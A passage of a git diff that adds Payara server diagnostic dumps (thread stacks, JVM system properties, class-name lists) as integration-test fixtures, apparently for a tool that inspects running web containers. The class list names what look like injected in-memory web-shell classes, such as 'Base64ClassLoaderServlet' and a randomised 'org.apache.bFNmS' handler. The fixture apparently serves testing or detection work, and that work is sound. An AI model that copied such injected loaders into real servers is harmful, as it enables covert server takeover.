java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixFrameworkWiring" #23 daemon [WAITING] on java.util.ArrayList@760c18ff + java.lang.Thread.State: WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.Object.wait(Object.java:338) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"http-listener-2-expirer(1)" #106 daemon [TIMED_WAITING] on java.lang.Object@3064fe9e + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixResolver-7" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"GF Domain XML" #117 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5383efb + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.13/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.13/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"hz.quizzical_elgamal.IO.thread-in-2" #80 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.IO.thread-out-2" #83 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"RMI TCP Connection(2)-192.168.215.4" #176 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808) + at java.base@17.0.13/java.net.Socket$SocketInputStream.read(Socket.java:976) + at java.base@17.0.13/sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:484) + at java.base@17.0.13/sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:478) + at java.base@17.0.13/sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:70) + at java.base@17.0.13/sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1465) + at java.base@17.0.13/sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:1069) + at java.base@17.0.13/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.13/java.io.BufferedInputStream.read(BufferedInputStream.java:263) + at java.base@17.0.13/java.io.FilterInputStream.read(FilterInputStream.java:82) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1890/0x0000000801b6bd40.run(Unknown Source) + at java.base@17.0.13/java.security.AccessController.executePrivileged(AccessController.java:776) + at java.base@17.0.13/java.security.AccessController.doPrivileged(AccessController.java:399) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"RunLevelControllerThread-1785653497151" #34 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7c48f66 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:704) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.generic-operation.thread-3" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7b9f7e83 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.scheduled.thread-" #43 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@151b1796 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.generic-operation.thread-0" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7b9f7e83 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"admin-thread-pool::admin-listener(1)" #108 daemon [WAITING] on java.lang.Object@5c380cb + java.lang.Thread.State: WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.Object.wait(Object.java:338) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Common-Cleaner" #131 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@537b1666 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.13/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.partition-operation.thread-8" #54 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"iiop-service-kernel(1) SelectorRunner" #111 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +ServletNameTestFilter +UrlMappingTestFilter +com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread +com.hazelcast.internal.networking.nio.NioThread +com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread +com.hazelcast.internal.partition.impl.MigrationQueue +com.hazelcast.internal.partition.impl.MigrationThread +com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread +com.hazelcast.internal.util.concurrent.MPSCQueue +com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker +com.hazelcast.internal.util.executor.HazelcastManagedThread +com.hazelcast.internal.util.executor.StripedExecutor$Worker +com.hazelcast.internal.util.phonehome.CloudInfoCollector +com.hazelcast.internal.util.phonehome.MetricsCollector +com.hazelcast.internal.util.phonehome.PhoneHome +com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda$1438/0x0000000801688fa8 +com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator +com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl +com.hazelcast.spi.impl.operationexecutor.impl.OperationThread +com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread +com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask +com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread +fish.payara.nucleus.notification.NotifierHandler +fish.payara.nucleus.notification.NotifierHandler$$Lambda$1588/0x0000000801329c68 +fish.payara.nucleus.phonehome.PhoneHomeTask +org.apache.bFNmS.ErrorHrhkhHandler +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic +org.apache.catalina.core.ContainerBase$ContainerBackgroundSessionProcessorAtomic +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.glassfish.tyrus.servlet.TyrusServletFilter +org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/Payara6202511ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Payara6202511ContainerTestBasicInfo.txt new file mode 100644 index 00000000..2afaed11 --- /dev/null +++ b/integration-test/src/test/resources/infos/Payara6202511ContainerTestBasicInfo.txt @@ -0,0 +1,2228 @@ +# Generated At 2026-08-02 06:51:47 +SystemProps: +javax.xml.accessExternalSchema: all +jdk.tls.rejectClientInitiatedRenegotiation: true +java.specification.version: 21 +jdk.corba.allowOutputStreamSubclass: true +sun.jnu.encoding: UTF-8 +javax.net.ssl.trustStorePassword: changeit +com.sun.aas.installRoot: /opt/payara/appserver/glassfish +sun.arch.data.model: 64 +java.vendor.url: http://www.azul.com/ +com.sun.aas.productRoot: /opt/payara/appserver +catalina.useNaming: false +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +sun.boot.library.path: /usr/lib/jvm/zulu21-ca-arm64/lib +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -prebootcommandfile /opt/payara/config/pre-boot-commands-final.asadmin -upgrade false -read-stdin true -postbootcommandfile /opt/payara/config/post-boot-commands-final.asadmin -domainname domain1 -domaindir /opt/payara/appserver/glassfish/domains/domain1 -asadmin-args --host,,,localhost,,,--port,,,4848,,,--user,,,admin,,,--passwordfile,,,/opt/payara/passwordFile,,,--secure=false,,,--terse=false,,,--extraterse=false,,,--echo=false,,,--interactive=false,,,--autoname=false,,,start-domain,,,--verbose=false,,,--watchdog=false,,,--debug=false,,,--warmup=false,,,--domaindir,,,/opt/payara/appserver/glassfish/domains,,,domain1 -instancename server -type DAS -verbose false -warmup false -asadmin-classpath /opt/payara/appserver/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain -watchdog false +jdk.debug: release +java.specification.vendor: Oracle Corporation +gosh.args: --nointeractive +java.version.date: 2025-10-21 +java.home: /usr/lib/jvm/zulu21-ca-arm64 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +org.jboss.weld.serialization.beanIdentifierIndexOptimization: false +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.ip: 127.0.0.1 +jdk.attach.allowAttachSelf: true +java.specification.name: Java Platform API Specification +simple.jacc.provider.JACCRoleMapper.class: com.sun.enterprise.security.web.integration.GlassfishRoleMapper +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +jdbc.drivers: org.h2.Driver +javax.net.ssl.trustStore: /opt/payara/appserver/glassfish/domains/domain1/config/cacerts.p12 +java.util.logging.config.file: /opt/payara/appserver/glassfish/domains/domain1/config/logging.properties +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.9+10-LTS +GlassFish_Platform: Felix +user.name: payara +AS_CONFIG: /opt/payara/appserver/glassfish/config/../config +felix.fileinstall.poll: 5000 +java.security.policy: /opt/payara/appserver/glassfish/domains/domain1/config/server.policy +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +file.encoding: UTF-8 +fish.payara.aas.h2Root: /opt/payara/appserver/h2db +com.sun.aas.imqLib: /opt/payara/appserver/mq/lib +java.vendor.version: Zulu21.46+19-CA +AS_IMQ_BIN: ../../mq/bin +java.io.tmpdir: /tmp +java.version: 21.0.9 +java.vm.specification.name: Java Virtual Machine Specification +com.sun.aas.instanceRoot: /opt/payara/appserver/glassfish/domains/domain1 +native.encoding: UTF-8 +java.library.path: /opt/payara/appserver/glassfish/lib:/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +stderr.encoding: UTF-8 +java.vendor: Azul Systems, Inc. +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +AS_DEF_DOMAINS_PATH: /opt/payara/appserver/glassfish/config/../domains +felix.fileinstall.dir: /opt/payara/appserver/glassfish/modules/autostart/ +java.class.path: /opt/payara/appserver/glassfish/domains/domain1/lib/ext/*:/opt/payara/appserver/glassfish/modules/glassfish.jar +com.sun.aas.instanceRootURI: file:/opt/payara/appserver/glassfish/domains/domain1/ +jakarta.security.jacc.PolicyConfigurationFactory.provider: fish.payara.security.jacc.provider.PolicyConfigurationFactoryImpl +java.vm.vendor: Azul Systems, Inc. +org.glassfish.gmbal.no.multipleUpperBoundsException: true +user.timezone: GMT +java.vm.specification.version: 21 +os.name: Linux +AS_H2_INSTALL: /opt/payara/appserver/glassfish/config/../../h2db +sun.java.launcher: SUN_STANDARD +user.country: US +org.glassfish.grizzly.DEFAULT_MEMORY_MANAGER: org.glassfish.grizzly.memory.HeapMemoryManager +sun.cpu.endian: little +user.home: /opt/payara +user.language: en +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +felix.fileinstall.bundles.new.start: true +com.sun.aas.hostName: b207faa3cfe9 +AS_INSTALL: /opt/payara/appserver/glassfish/config/.. +javax.net.ssl.keyStorePassword: changeit +java.awt.headless: true +com.ctc.wstx.returnNullForDefaultNamespace: true +AS_DEF_NODES_PATH: ../nodes +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +com.sun.aas.instanceName: server +jdk.util.zip.disableZip64ExtraFieldValidation: true +javax.rmi.ssl.client.enabledProtocols: TLSv1.2,TLSv1.3 +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +stdout.encoding: UTF-8 +path.separator: : +os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70 +com.sun.aas.installRootURI: file:/opt/payara/appserver/glassfish/ +java.runtime.name: OpenJDK Runtime Environment +osgi.shell.telnet.maxconn: 1 +felix.fileinstall.bundles.startTransient: true +AS_IMQ_LIB: ../../mq/lib +com.sun.aas.configRoot: /opt/payara/appserver/glassfish/config +com.sun.aas.imqBin: /opt/payara/appserver/mq/bin +java.vm.name: OpenJDK 64-Bit Server VM +com.sun.aas.javaRoot: /usr/lib/jvm/zulu21-ca-arm64 +javax.net.ssl.keyStore: /opt/payara/appserver/glassfish/domains/domain1/config/keystore.p12 +java.security.auth.login.config: /opt/payara/appserver/glassfish/domains/domain1/config/login.conf +felix.fileinstall.disableConfigSave: false +java.vendor.url.bug: http://www.azul.com/support/ +catalina.home: /opt/payara/appserver/glassfish/domains/domain1 +user.dir: /opt/payara +os.arch: aarch64 +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +osgi.shell.telnet.port: 6666 +catalina.base: /opt/payara/appserver/glassfish/domains/domain1 +java.util.logging.manager: fish.payara.logging.PayaraLogManager +com.sun.aas.agentRoot: /opt/payara/appserver/glassfish/nodes +glassfish.version: Payara Server 6.2025.11 (build 43) +java.vm.info: mixed mode, sharing +java.vm.version: 21.0.9+10-LTS +com.sun.aas.domainsRoot: /opt/payara/appserver/glassfish/domains +java.class.version: 65.0 +org.glassfish.grizzly.nio.DefaultSelectorHandler.force-selector-spin-detection: true + +=========================================== + +ThreadStacks: +"FelixDispatchQueue" #23 daemon [WAITING] on java.util.ArrayList@1a21877 + java.lang.Thread.State: WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at java.base@21.0.9/java.lang.Object.wait(Object.java:339) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.generic-operation.thread-1" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3f477f00 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.affectionate_khayyam.response-0" #71 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.affectionate_khayyam.IO.thread-out-1" #109 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.affectionate_khayyam.partition-operation.thread-7" #80 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at 